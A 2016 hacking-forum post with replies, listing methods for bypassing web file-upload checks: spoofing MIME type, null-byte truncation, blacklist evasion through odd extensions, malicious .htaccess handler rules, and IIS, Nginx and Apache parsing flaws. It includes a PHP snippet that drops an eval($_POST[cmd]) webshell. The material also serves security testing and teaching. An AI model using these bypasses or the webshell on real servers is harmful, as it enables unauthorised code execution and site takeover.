九零登录

[【通过】] 【已转正】那些年,我们绕过的上传

[复制链接]
发表于 2016-7-24 12:31:24 | 显示全部楼层 |阅读模式
那些年,我们绕过的上传
=

1,检测javascript类型的绕过(客户端)
-
    通常post请求发送到web服务器,客户端javascript验证
    上传1.php弹窗说上传格式错误,只允许.jpg,.jpeg等格式的文件
    上传一句话1.php-->1.jpg 然后burp抓包1.jpg-->1.php,这样就绕过了js检测
    或者F12查看源代码,找到onsubmit=”return checkFile()”,将它删除并编辑保存。
    这个时候页面就不检测了,直接上传成功,
    或者修改允许的函数checkfile(),添加我们想上传的文件格式,也是可以上传成功的。

2,检测MIME类型的绕过(服务端)
-   
    服务端MIME类型检测(检测Content-Type内容),burp抓包,修改Content-Type
    Content-Type:text/plain -->php
    Content-Type:image/jpeg -->image
    上传1.jpg--->修改image/jpeg为text/plain,成功绕过。

    常见的MIME类型:
    超文本标记语言文本 .html text/html   
    xml文档 .xml text/xml
    普通文本 .txt text/plain   
    RTF文本 .rtf application/rtf   
    PDF文档 .pdf application/pdf   
    Microsoft Word文件 .word application/msword   
    PNG图像 .png image/png   
    GIF图形 .gif image/gif   
    JPEG图形 .jpeg,.jpg image/jpeg   
    au声音文件 .au audio/basic   
    MIDI音乐文件 mid,.midi audio/midi,audio/x-midi   
    RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio   
    MPEG文件 .mpg,.mpeg video/mpeg   
    AVI文件 .avi video/x-msvideo   
    GZIP文件 .gz application/x-gzip   
    TAR文件 .tar application/x-tar   
    任意的二进制数据 application/octet-stream

3,检测目录路径类型的绕过(服务端)
-
    上传1.jpg,burp进行抓包,Content-Disposition:from-data;name=”path”后面一行upload是我们保存的地址。
    现在我们将upload改为upload/1.php(空格) ,接着我们来到 Proxy->intercept->Hex找到1.php(空格)这个被修改过的代码,找到同一行的数字20,改为00 ,成功绕过
    wenshell: http://www.example.com/uploading/1.php/1.jpg

4,检测文件内容的绕过(服务端)

    检测内容是否合法或含有恶意代码
    文件幻数检测
        jpg-->JFIF
        gif-->GIF89A
        PNG-->PNG
    文件相关信息检测
        常用的是getimaegsize()函数检测
        有文件头,加一些杂乱的东西,迷惑,空的地方添加木马
    文件加载检测
        API函数检测的
        一次渲染可以绕过,二次渲染就没戏绕过。

5,检测黑名单类型的绕过(服务端)
   
    将危险的后缀名写到一个文件里面,禁止指着后缀名的文件执行
    文件名绕过:
        大小写组合绕过pHp,PhP,混搭绕过php1,php2,php3,php4,php5
    列表名绕过:
        cer,ashx,asa,cer,cdx,htr,绕过(黑名单可能会漏掉的)
    特殊字符绕过:
        a.asp改成a.asp_
    0x00截断绕过:
        上传1.php.jpg burp抓包改成1.php%00.jpg,或者hex-->20改成00当解析的时候,看到空格,后面的那段就不解析了
        或者upload/1.asp(空格)/上传,hex修改20-->00绕过上传
    apache解析绕过:
        help.asp.134.x2,从前向后尝试解析,直到遇到自己认识的扩展名为止。
    双扩展名解析绕过:
        apache的conf配置有AddHandler php5-script.php没有注释掉,
        则,文件名1.php.jpg就能当作php执行
    .htaccess文件攻击:
        自定义.htaccess上传,下面是内容
        <FileMatch "aaa">
        SetHandler application/x-httpd-php
        </FileMatch>
        同目录下,上传一个aaa文件,没有扩展名,内容是一句话,这个时候就成功绕过。

6,检测白名单类型的绕过(服务端)
-
   
    解析漏洞绕过

    iis6.0解析绕过:
        目录绕过:
        IIS6.0目录路径检测解析,文件的名字为“*.asp/xxx.jpg”同样呗解析成asp
        burp进行抓包,其中Content-Disposition:form-data;name=”path”我们把原本的 upload/ 改为 uploading/1.asp/,filename="yijuhua.asp"修改为filename="yijuhua.asp/1.jpg"。
        或者创建文件夹a.php里面放一句话图片1.jpg  a.php/1.jpg--->php执行
        文件绕过:
        首先我们请求 /aaa.php;xxx.jpg,从头部查找查找 "."号,获得 .php;xxx.jpg
        查找";",如果有则内容截断,所以/aaa.php;xxx.jpg会当做/aaa.php进行解析,除此之外我们还有下面的构造方式绕过:a.php;.jpg,a.php;jpg-->php执行

    iis7.0/7.5解析绕过:
        在默认Fast-CGI开启的情况下上传一个文件1.jpg   
        内容:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
        然后访问1.jpg/.php 这样就会在同级目录下生成木马shell.php
   
    Nginx<8.0.3解析绕过:
        上传1.jpg----burp修改-->1.jpg%00.php空字节绕过上传

    apache解析绕过:
        a.php.x1.x2 apache从前向后尝试解析,直到遇到自己认识的扩展名为止。

    .htaccess文件攻击:自定义.htaccess绕过
            <FileMatch "aaa">
            SetHandler application/x-httpd-php
            </FileMatch>
        同目录下,上传一个aaa文件,没有扩展名,然后内容是“aaa”+一句话,成功绕过。

7,自动修改后缀的绕过:
-
    上传php,服务端自动修改成了gif
    burp抓包,1.php-->修改成1.pphphp成功绕过

希望各位大大给通过!!
=============================
管理给予通过,已转正。
                          管理05
         




单选投票, 共有 41 人参与投票 查看投票参与人

投票已经结束

53.66% (22)
46.34% (19)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-7-24 20:12:19 | 显示全部楼层
总结的不错,给你一票,mark一下
 楼主| 发表于 2016-7-24 20:19:12 | 显示全部楼层
谢谢大大!!
发表于 2016-7-24 21:58:37 | 显示全部楼层
刚好需要 给你一票大兄弟~
发表于 2016-7-24 22:24:29 | 显示全部楼层
首先总结的很不错 这里发现了一篇类似文章 分享给大家。

Upload Attack Framework
发表于 2016-7-24 22:56:12 | 显示全部楼层
总结的不错,表示通过~
 楼主| 发表于 2016-7-24 22:59:29 | 显示全部楼层
本帖最后由 similar 于 2016-7-24 23:05 编辑
Exploit_小宇 发表于 2016-7-24 22:24
首先总结的很不错 这里发现了一篇类似文章 分享给大家。

Upload Attack Framework

大大,这个有看,更多的是看的ichunqiu的web漏洞讲解上传篇(不是打广告的管理员,就是解释一下),以及自己以前收集的总结的要是重复,怪我。不好意思
 楼主| 发表于 2016-7-24 23:06:04 | 显示全部楼层
Database 发表于 2016-7-24 22:56
总结的不错,表示通过~

谢谢支持
发表于 2016-7-24 23:54:09 | 显示全部楼层
文章总结的很不错 可能不通过的人认为这些网上都有了 只不过是全部写在一块了而已 但是我想说我从文章里看到的除了网上已有的知识 还有楼主自己的总结

90的门槛高不错 可能这些普通的入不了你们的法眼 但是每个人都是从新手一步步走过来的 楼主能以自己的知识写出这些也很不容易 在此看不懂不通过的朋友心里是怎么想的
 楼主| 发表于 2016-7-25 00:15:10 | 显示全部楼层
Exploit_小宇 发表于 2016-7-24 23:54
文章总结的很不错 可能不通过的人认为这些网上都有了 只不过是全部写在一块了而已 但是我想说我从文章里看 ...

谢谢大大,不管结果如何,都谢谢各位大大的支持!!
发表于 2016-7-25 09:47:01 | 显示全部楼层

简单瞄了一眼,关于总结的黑名单绕过应该注明一下:
就是特殊字符绕过这个:
        a.asp改成a.asp_
这个范围在windows下存在这个漏洞,因为在windows环境下,文件名称用"."或者空格作为结尾,windows系统会将他自动清除掉的。所以那上传“asp.”或者“asp_”为名称的程序,windows服务器在接收文件后在进行写文件操作时就把"."或者空格自动去掉了。注意:“_”是空格的意思

评分

参与人数 1酒票 +2 收起 理由
管理05 + 2 积极参与讨论

查看全部评分

发表于 2016-7-25 10:13:17 | 显示全部楼层
看似相似,然后搜了下https://forum.90sec.org/forum.ph ... 9%B6%B4%D7%DC%BD%E1,大部分都讲了,也讲了利用方法。
另外提一点,这是answer牛的的总结:
phpstudy和wamp以及centos用yum方式安装的lamp环境不能解析phtml和pht
ubuntu和debian利用apt-get方式安装的lamp环境就能解析phtml和pht,原因和上图分析是一样的。

评分

参与人数 1酒票 +2 收起 理由
管理05 + 2 积极参与讨论

查看全部评分

 楼主| 发表于 2016-7-25 10:21:03 | 显示全部楼层
c4rt1y 发表于 2016-7-25 10:13
看似相似,然后搜了下https://forum.90sec.org/forum.php?mod=viewthread&tid=3678&highlight=%BD%E2%CE%F6 ...

嗯嗯,我没有权限看这个帖子,估计重复了。谢谢提醒
发表于 2016-7-26 09:06:21 | 显示全部楼层
其实关于上传,在常规绕过之外,我们知道服务器和web容器以后,我们可以去看看web容器的解析代码,可能就会发现一些黑名单过滤的绕过方法。
举个粒子:  ubuntu 下的 apache  在配置文件里的mod-enable 里面的  php5.conf 就标明了解析规则
看看解析 --
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php"
这个就标明了 可以 将  php php3 php4 php5 pht phtml 等 后缀解析为 php文件
发表于 2016-7-31 05:11:15 | 显示全部楼层
温习 3q
发表于 2016-7-31 08:59:54 | 显示全部楼层
学习一下

九零

GMT+8, 2026-10-22 15:25

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表